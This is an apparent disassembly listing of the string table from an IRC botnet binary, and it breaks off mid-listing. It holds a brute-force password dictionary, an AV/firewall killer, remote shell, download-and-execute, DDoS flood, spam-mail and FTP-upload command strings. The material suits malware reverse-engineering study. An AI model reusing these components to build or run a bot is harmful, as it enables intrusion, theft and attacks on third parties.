a1234		db '1234',0             ; DATA XREF: .data:00424C7Co
		align 4
a123		db '123',0              ; DATA XREF: .data:00424C78o
a12		db '12',0               ; DATA XREF: .data:00424C74o
		align 4
a1:					; DATA XREF: .data:00424C70o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:00424C6Co
aPwd		db 'pwd',0              ; DATA XREF: .data:00424C68o
aPass_0		db 'pass',0             ; DATA XREF: .data:00424C64o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:00424C60o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:00424C5Co
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:00424C58o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:00424C54o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:00424C50o
aDb2		db 'db2',0              ; DATA XREF: .data:00424C2Co
					; .data:00424DF8o
aOracle		db 'oracle',0           ; DATA XREF: .data:00424C28o
					; .data:00424E10o
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:00424C24o
aDatabase	db 'database',0         ; DATA XREF: .data:00424C20o
					; .data:00424DD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:00424C1Co
					; .data:00424CC8o
aGuest_0	db 'guest',0            ; DATA XREF: .data:00424C18o
					; .data:00424CB0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:00424C14o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:00424C10o
					; .data:00424E58o
aStudent	db 'student',0          ; DATA XREF: .data:00424C0Co
					; .data:00424E54o
aOwner		db 'owner',0            ; DATA XREF: .data:00424C08o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:00424C04o
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:00424C00o
					; .data:00424CD4o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:00424BFCo
					; .data:00424E5Co
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:00424BF8o
					; .data:00424C4Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:00424BF4o
					; .data:00424C48o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:00424BF0o
					; .data:00424C44o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:00424BECo
					; .data:00424C40o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .data:00424BE8o
					; .data:00424C3Co
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:00424BE4o
					; .data:00424C38o
		align 10h
aMircV6_03K_mar	db 'mIRC v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:00424B38o
aMircV6_01K_mar	db 'mIRC v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:00424B34o
aMircV5_82K_mar	db 'mIRC v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:00424B30o
aMircV5_71K_mar	db 'mIRC v5.71 K.Mardam-Bey',0 ; DATA XREF: .data:00424B2Co
aMirc32V6_12K_m	db 'mIRC32 v6.12 K.Mardam-Bey',0 ; DATA XREF: .data:00424B28o
		align 4
aMirc32V6_03K_m	db 'mIRC32 v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:00424B24o
		align 4
aMirc32V6_01K_m	db 'mIRC32 v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:00424B20o
		align 4
aMirc32V5_82K_m	db 'mIRC32 v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:00424B1Co
		align 10h
aMircV6_03Khale	db 'mIRC v6.03 Khaled Mardam-Bey',0 ; DATA XREF: .data:00424B18o
		align 10h
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_424B14o
		align 10h
a@fofo		db '*@fofo',0           ; DATA XREF: .data:off_424B10o
		align 4
; char aIdentdFailedTo[]
aIdentdFailedTo	db '[IDENTD]: Failed to start server, error: <%d>.',0
					; DATA XREF: WinMain(x,x,x,x)+4DBo
					; sub_409557+182Fo
		align 4
; char aIdentdServerRu[]
aIdentdServerRu	db '[IDENTD]: Server running on Port: 113.',0
					; DATA XREF: WinMain(x,x,x,x)+490o
					; sub_409557+17E2o
		align 10h
; char aSecureFailedTo[]
aSecureFailedTo	db '[SECURE]: Failed to start registry thread, error: <%d>.',0
					; DATA XREF: WinMain(x,x,x,x)+463o
aSecureRegistry	db '[SECURE]: Registry monitor active.',0 ; DATA XREF: WinMain(x,x,x,x)+410o
		align 4
; char aProcsFailedToS[]
aProcsFailedToS	db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0
					; DATA XREF: WinMain(x,x,x,x)+3F0o
		align 4
; char aProcsAvFwKille[]
aProcsAvFwKille	db '[PROCS]: AV/FW Killer active.',0 ; DATA XREF: WinMain(x,x,x,x)+39Fo
		align 4
; char aMainBotStarted[]
aMainBotStarted	db '[MAIN]: Bot started.',0 ; DATA XREF: WinMain(x,x,x,x)+364o
		align 10h
; char aSDS[]
aSDS		db '%s %d "%s"',0       ; DATA XREF: WinMain(x,x,x,x)+28Fo
		align 4
; char aSS_0[]
aSS_0		db '%s\%s',0            ; DATA XREF: WinMain(x,x,x,x)+189o
		align 4
; char aMainConnectedT[]
aMainConnectedT	db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_409277+F2o
		align 10h
; char aNickSUserS00S[]
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_4093DF+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
; char aPassS[]
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_4093DF+35o
		align 4
; char aModeSS[]
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+542Do
		align 4
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+5418o
		align 4
; char aMainUserSLog_1[]
aMainUserSLog_1	db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_409557+5404o
aMainPasswordAc	db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_409557+53E7o
		align 10h
aMainFailedHost	db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_409557+5389o
		align 4
; char aNoticeSHostAut[]
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_409557+5366o
		align 10h
; char aMainFailedPass[]
aMainFailedPass	db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_409557+5319o
		align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_409557+530Ao
					; sub_409557+537Ao
		align 4
; char aNoticeSPassAut[]
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_409557+52F6o
		align 4
; char asc_42569C[]
asc_42569C:				; DATA XREF: sub_409557+52C6o
		unicode	0, <~>,0
; char aMainRandomNick[]
aMainRandomNick	db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_409557+5275o
		align 10h
aMainInvalidLog	db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_409557+51BBo
		align 4
aMainNoUserLogg	db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_409557+51B3o
		align 10h
aMainS		db '[MAIN]: %s',0       ; DATA XREF: sub_409557+515Eo
		align 4
aSocks4FailedTo	db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409557+514Fo
		align 4
; char aSocks4ServerSt[]
aSocks4ServerSt	db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_409557+50E0o
					; sub_4103F5+A8o
aProc		db '[PROC]',0           ; DATA XREF: sub_409557+5016o
		align 10h
aProcessList	db 'Process list',0     ; DATA XREF: sub_409557+5011o
		align 10h
aMainReconnecti	db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_409557+4FDEo
		align 4
; char aQuitReconnecti[]
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409557:loc_40E528o
		align 10h
aMainDisconnect	db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_409557+4FBCo
		align 4
; char aQuitDisconnect[]
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409557:loc_40E506o
		align 10h
; char aQuitS[]
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_409557+4F87o
		align 4
; char aMainStatusRead[]
aMainStatusRead	db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_409557+4F3Bo
		align 4
; char aMainBotIdS_[]
aMainBotIdS_	db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_409557+4EFDo
; char aThreadsFaile_0[]
aThreadsFaile_0	db '[THREADS]: Failed to start list thread, error: <%d>.',0
					; DATA XREF: sub_409557+4ED2o
		align 10h
; char aThreadsListThr[]
aThreadsListThr	db '[THREADS]: List threads.',0 ; DATA XREF: sub_409557+4E67o
		align 4
; char aSub[]
aSub		db 'sub',0              ; DATA XREF: sub_409557+4E41o
aMainAliasList_	db '[MAIN]: Alias list.',0 ; DATA XREF: sub_409557+4DF2o
aLogFailedToSta	db '[LOG]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_409557+4DD7o
; char aLogListingLog_[]
aLogListingLog_	db '[LOG]: Listing log.',0 ; DATA XREF: sub_409557+4D4Ao
aMainNetworkInf	db '[MAIN]: Network Info.',0 ; DATA XREF: sub_409557+4CC6o
		align 4
aMainSystemInfo	db '[MAIN]: System Info.',0 ; DATA XREF: sub_409557+4C97o
		align 4
aMainRemovingBo	db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_409557+4C42o
		align 4
; char aProcsFailedT_0[]
aProcsFailedT_0	db '[PROCS]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_409557+4C26o
		align 4
; char aProcsProccessL[]
aProcsProccessL	db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_409557+4BB1o
; char aFull[]
aFull		db 'full',0             ; DATA XREF: sub_409557+4B91o
		align 4
aProcAlreadyRun	db '[PROC]: Already running.',0 ; DATA XREF: sub_409557+4B2Fo
		align 4
; char aMainUptimeS_[]
aMainUptimeS_	db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_409557+4AE1o
; char aCmdRemoteShe_0[]
aCmdRemoteShe_0	db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_409557:loc_40DF9Bo
		align 4
aCmdCouldnTOpen	db '[CMD]: Couldn',27h,'t open remote shell.',0
					; DATA XREF: sub_409557+4A3Do
		align 4
aCmdRemoteShell	db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_409557+4A21o
		align 4
aMainGetClipboa	db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_409557+4A0Bo
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_409557+49DDo
		align 10h
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: sub_409557:loc_40DF24o
		align 4
; char aFlushdnsArpC_0[]
aFlushdnsArpC_0	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_409557+49B2o
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: sub_409557:loc_40DEF9o
		align 10h
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: sub_409557:loc_40DEF2o
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_409557+4994o
		align 4
; char aRlogindFailedT[]
aRlogindFailedT	db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409557+4916o
		align 10h
; char aRlogindServerL[]
aRlogindServerL	db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
					; DATA XREF: sub_409557+48ABo
aHttpdFailedT_1	db '[HTTPD]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409557+47E2o
		align 10h
aTftpFailedTo_0	db '[TFTP]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409557+466Co
aTftpAlreadyRun	db '[TFTP]: Already running.',0 ; DATA XREF: sub_409557+4544o
		align 10h
aScanFailedTo_2	db '[SCAN]: Failed to start scan, port is invalid.',0
					; DATA XREF: sub_409557:loc_40DA85o
		align 10h
aMainNickChange	db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409557+4233o
		align 10h
aMainJoinedCh_0	db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409557+421Ao
		align 10h
aMainPartedChan	db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409557+41FAo
		align 10h
aMainIrcRawS_	db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_409557+41E1o
		align 4
; char aThreadsFailedT[]
aThreadsFailedT	db '[THREADS]: Failed to kill thread: %s.',0
					; DATA XREF: sub_409557:loc_40D6BAo
		align 10h
aThreadsKilledT	db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_409557+415Co
		align 10h
aThreadsNoActiv	db '[THREADS]: No active threads found.',0
					; DATA XREF: sub_409557:loc_40D66Do
aThreadsStopped	db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_409557+410Co
		align 4
; char aAll[]
aAll		db 'all',0              ; DATA XREF: sub_409557+40F2o
; char aQuitLater[]
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_409557+406Bo
					; sub_409557:loc_40E4F0o
		align 4
aMainPrefixChan	db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: sub_409557+3FF3o
		align 10h
aShellCouldnTOp	db '[SHELL]: Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_409557:loc_40D535o
aShellFileOpene	db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_409557+3FD4o
		align 4
; char aMainServerChan[]
aMainServerChan	db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409557+3FABo
		align 10h
; char aDnsCouldnTReso[]
aDnsCouldnTReso	db '[DNS]: Couldn',27h,'t resolve hostname.',0
					; DATA XREF: sub_409557:loc_40D4D8o
		align 4
; char aDnsLookupSS_[]
aDnsLookupSS_	db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_409557+3F53o
		align 10h
aProcFailedTo_0	db '[PROC]: Failed to terminate process: %s',0
					; DATA XREF: sub_409557:loc_40D476o
aProcProcessK_0	db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_409557+3F15o
		align 4
; char aProcFailedToTe[]
aProcFailedToTe	db '[PROC]: Failed to terminate process ID: %s',0
					; DATA XREF: sub_409557:loc_40D416o
		align 10h
aProcProcessKil	db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_409557+3EB8o
		align 10h
aFileDeletedS_	db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409557+3E77o
		align 4
aFileListS	db '[FILE]: List: %s',0 ; DATA XREF: sub_409557+3E61o
		align 4
aMircCommandSen	db '[mIRC]: Command sent.',0 ; DATA XREF: sub_409557:loc_40D39Do
		align 4
aMircClientNotO	db '[mIRC]: Client not open.',0 ; DATA XREF: sub_409557+3E3Co
		align 10h
aCmdCommandsS	db '[CMD]: Commands: %s',0 ; DATA XREF: sub_409557+3E0Bo
aCmdErrorSendin	db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_409557+3E00o
		align 4
aMainReadFileFa	db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_409557+3DC0o
		align 4
; char aMainReadFileCo[]
aMainReadFileCo	db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_409557+3DACo
		align 4
; char aMainGethostS_[]
aMainGethostS_	db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_409557+3D27o
		align 4
; char aMainUnableToEx[]
aMainUnableToEx	db '[MAIN]: Unable to extract Gethost command.',0
					; DATA XREF: sub_409557+3CECo
		align 10h
; char aMainGethostSCo[]
aMainGethostSCo	db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_409557+3CD0o
		align 4
; char aMainAliasAdded[]
aMainAliasAdded	db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_409557+3C4Eo
		align 10h
; char aMainPrivmsgSS_[]
aMainPrivmsgSS_	db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_409557+3C13o
		align 4
; char aMainActionSS_[]
aMainActionSS_	db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_409557+3BBDo
aMainCycle_	db '[MAIN]: Cycle.',0   ; DATA XREF: sub_409557+3B55o
		align 4
; char aPartS_0[]
aPartS_0	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_409557+3B1Bo
					; sub_409557+41ECo
		align 10h
; char aMainModeChange[]
aMainModeChange	db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_409557+3AECo
; char aModeS_0[]
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_409557+3ADEo
		align 4
aCloneRawSS	db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_409557+3AB5o
		align 4
aCloneModeSS	db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_409557+3A4Ao
		align 4
; char aModeS[]
aModeS		db 'MODE %s',0          ; DATA XREF: sub_409557+39F5o
; char aCloneNickSS[]
aCloneNickSS	db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_409557+39C0o
		align 4
; char aNickS_0[]
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_409557+396Ao
					; sub_409557+4035o
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_409557+394Bo
		align 4
; char aPartS[]
aPartS		db 'PART %s',0          ; DATA XREF: sub_409557+38E1o
aMainRepeatNotA	db '[MAIN]: Repeat not allowed in command line: %s',0
					; DATA XREF: sub_409557:loc_40CE25o
		align 10h
; char aMainRepeatS[]
aMainRepeatS	db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_409557+3897o
		align 4
aMainDelay_	db '[MAIN]: Delay.',0   ; DATA XREF: sub_409557:loc_40CD55o
		align 4
; char aSSSS[]
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_409557+37BEo
					; sub_409557+3871o ...
		align 4
; char aUpdateBotIdMus[]
aUpdateBotIdMus	db '[UPDATE]: Bot ID must be different than current running process.',0
					; DATA XREF: sub_409557:loc_40CC92o
		align 4
; char aUpdateFailedTo[]
aUpdateFailedTo	db '[UPDATE]: Failed to start download thread, error: <%d>.',0
					; DATA XREF: sub_409557+3725o
; char aUpdateDownload[]
aUpdateDownload	db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_409557+36BAo
		align 4
; char aSS_exe[]
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_409557+3614o
		align 4
aExecCommandsS	db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_409557+35B5o
		align 4
aExecCouldnTExe	db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_409557+35AAo
		align 4
aFile		db '[FILE]:',0          ; DATA XREF: sub_409557:loc_40CA2Co
					; sub_409557:loc_40D3D5o
; char aFileRenameSToS[]
aFileRenameSToS	db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409557+34C0o
		align 4
aIcmpInvalidFlo	db '[ICMP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_409557:loc_40C9F5o
		align 4
aIcmpFailedToSt	db '[ICMP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409557+3494o
		align 4
; char aIcmpFloodingSF[]
aIcmpFloodingSF	db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_409557+341Ao
		align 4
aClonesFailedTo	db '[CLONES]: Failed to start clone thread, error: <%d>.',0
					; DATA XREF: sub_409557+33A3o
		align 4
; char aClonesCreatedO[]
aClonesCreatedO	db '[CLONES]: Created on %s:%d, in channel %s.',0
					; DATA XREF: sub_409557+3334o
		align 4
; char aDdosFailedToSt[]
aDdosFailedToSt	db '[DDoS]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409557+32ACo
		align 4
; char aDdosFloodingSS[]
aDdosFloodingSS	db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_409557+3234o
		align 4
; char aSynFailedToSta[]
aSynFailedToSta	db '[SYN]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409557+319Fo
		align 4
; char aSynFloodingSSF[]
aSynFloodingSSF	db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_409557+3125o
		align 4
aDownloadFailed	db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
					; DATA XREF: sub_409557+30B5o
		align 4
; char aDownloadDown_1[]
aDownloadDown_1	db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_409557+3046o
aRedirectFailed	db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
					; DATA XREF: sub_409557+2F77o
		align 4
; char aRedirectTcpRed[]
aRedirectTcpRed	db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
					; DATA XREF: sub_409557+2F08o
; char aScanPortScanSt[]
aScanPortScanSt	db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
					; DATA XREF: sub_409557+2E0Eo
		align 4
aSSS_2		db '[%s] <%s> %s',0     ; DATA XREF: sub_409557+2D8Ao
		align 4
; char aSSS_1[]
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_409557+2C8Do
		align 4
; char dword_42653C
dword_42653C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_409557+2BFFo
					; sub_409557+3B9Eo
; char aScanFailedTo_1[]
aScanFailedTo_1	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: sub_409557+2BA0o
					; sub_409557+2E7Do ...
		align 4
; char aScanSPortScanS[]
aScanSPortScanS	db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
					; DATA XREF: sub_409557+2B31o
					; sub_409557+446Fo
		db 'for %d minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_409557+2B06o
					; sub_409557+4444o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_409557+2AFFo
					; sub_409557+443Do
		align 4
aScanFailedTo_0	db '[SCAN]: Failed to start scan, no IP specified.',0
					; DATA XREF: sub_409557+29C1o
		align 4
; char aScanAlreadyDSc[]
aScanAlreadyDSc	db '[SCAN]: Already %d scanning threads. Too many specified.',0
					; DATA XREF: sub_409557+2878o
					; sub_409557+428Co
		align 10h
aUdpFailedToSta	db '[UDP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409557+2847o
		align 4
; char aUdpSendingDPac[]
aUdpSendingDPac	db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
					; DATA XREF: sub_409557+27D8o
		db 0
		align 4
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_409557+2711o
		align 10h
aPingFailedToSt	db '[PING]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409557+26FCo
		align 4
; char aPingSendingDPi[]
aPingSendingDPi	db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
					; DATA XREF: sub_409557+2691o
		db 0
		align 4
aTcpInvalidFl_0	db '[TCP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_409557:loc_40BB4Bo
		align 4
aTcpFailedToSta	db '[TCP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409557+25EAo
		align 10h
; char aTcpSSFloodingS[]
aTcpSSFloodingS	db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_409557+2570o
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_409557+2560o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_409557+2559o
aTcpInvalidFloo	db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_409557+24C4o
		align 4
; char aRandom[]
aRandom		db 'random',0           ; DATA XREF: sub_409557+24B4o
					; sub_4111FF+312o
		align 10h
; char aAck[]
aAck		db 'ack',0              ; DATA XREF: sub_409557+249Do
					; sub_4111FF+2F2o
; char aFtpUploading_0[]
aFtpUploading_0	db '[FTP]: Uploading file: %s to: %s failed.',0
					; DATA XREF: sub_409557:loc_40B933o
		align 10h
aFtpUploadingFi	db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_409557+23D5o
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_409557+23BEo
; char aSS_4[]
aSS_4		db '-s:%s',0            ; DATA XREF: sub_409557+23A7o
		align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_409557+2387o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
; char aAb[]
aAb		db 'ab',0               ; DATA XREF: sub_409557+2363o
		align 4
; char aSIII_dll[]
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_409557+2352o
		align 4
; char aFtpFileNotFoun[]
aFtpFileNotFoun	db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_409557+22CCo
		align 4
; char aUpload[]
aUpload		db 'upload',0           ; DATA XREF: sub_409557+22A9o
		align 10h
; char aHcon[]
aHcon		db 'hcon',0             ; DATA XREF: sub_409557+2286o
		align 4
; char aHttpcon[]
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_409557+226Fo
; char aEmailMessageSe[]
aEmailMessageSe	db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_409557+222Eo
		align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_409557+21BAo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
; char a_[]
a_:					; DATA XREF: sub_409557+211Eo
		unicode	0, <_>,0
; char aEmail[]
aEmail		db 'email',0            ; DATA XREF: sub_409557+20CFo
		align 4
; char aTcp[]
aTcp		db 'tcp',0              ; DATA XREF: sub_409557+20B8o
; char aTcpflood[]
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_409557+20A1o
		align 4
; char aP[]
aP:					; DATA XREF: sub_409557+208Ao
		unicode	0, <p>,0
; char aPing_1[]
aPing_1		db 'ping',0             ; DATA XREF: sub_409557+2073o
		align 4
; char aPingflood[]
aPingflood	db 'pingflood',0        ; DATA XREF: sub_409557+205Co
		align 10h
; char aU[]
aU:					; DATA XREF: sub_409557+2045o
		unicode	0, <u>,0
; char aUdp[]
aUdp		db 'udp',0              ; DATA XREF: sub_409557+202Eo
; char aUdpflood[]
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_409557+2017o
		align 4
; char aF0f0f0[]
aF0f0f0		db 'f0f0f0',0           ; DATA XREF: sub_409557+2000o
		align 4
; char aFofofo[]
aFofofo		db 'fofofo',0           ; DATA XREF: sub_409557+1FE9o
		align 4
; char aC_a[]
aC_a		db 'c_a',0              ; DATA XREF: sub_409557+1FC0o
; char aC_action[]
aC_action	db 'c_action',0         ; DATA XREF: sub_409557+1FA9o
		align 4
; char aC_pm[]
aC_pm		db 'c_pm',0             ; DATA XREF: sub_409557+1F92o
		align 4
; char aC_privmsg[]
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_409557+1F7Bo
		align 4
; char aSc[]
aSc		db 'sc',0               ; DATA XREF: sub_409557+1F64o
		align 4
; char aScan_1[]
aScan_1		db 'scan',0             ; DATA XREF: sub_409557+1F4Do
		align 4
; char aRd[]
aRd		db 'rd',0               ; DATA XREF: sub_409557+1F36o
		align 4
; char aRedirect_0[]
aRedirect_0	db 'redirect',0         ; DATA XREF: sub_409557+1F1Fo
		align 4
; char aFalehdownl2[]
aFalehdownl2	db 'falehdownl2',0      ; DATA XREF: sub_409557+1F08o
; char aFalehdownl[]
aFalehdownl	db 'falehdownl',0       ; DATA XREF: sub_409557+1EF1o
		align 4
; char aSyn_0[]
aSyn_0		db 'syn',0              ; DATA XREF: sub_409557+1EDAo
					; sub_409557+2485o ...
; char aSynflood[]
aSynflood	db 'synflood',0         ; DATA XREF: sub_409557+1EC3o
		align 4
; char aC[]
aC:					; DATA XREF: sub_409557+1E67o
		unicode	0, <c>,0
; char aClone_0[]
aClone_0	db 'clone',0            ; DATA XREF: sub_409557+1E50o
		align 4
; char aIcmp[]
aIcmp		db 'icmp',0             ; DATA XREF: sub_409557+1E27o
		align 10h
; char aIcmpflood[]
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_409557+1E10o
		align 4
; char aMv[]
aMv		db 'mv',0               ; DATA XREF: sub_409557+1DF9o
		align 10h
; char aRename[]
aRename		db 'rename',0           ; DATA XREF: sub_409557+1DE2o
		align 4
; char aE[]
aE:					; DATA XREF: sub_409557+1DCBo
		unicode	0, <e>,0
; char aExecute[]
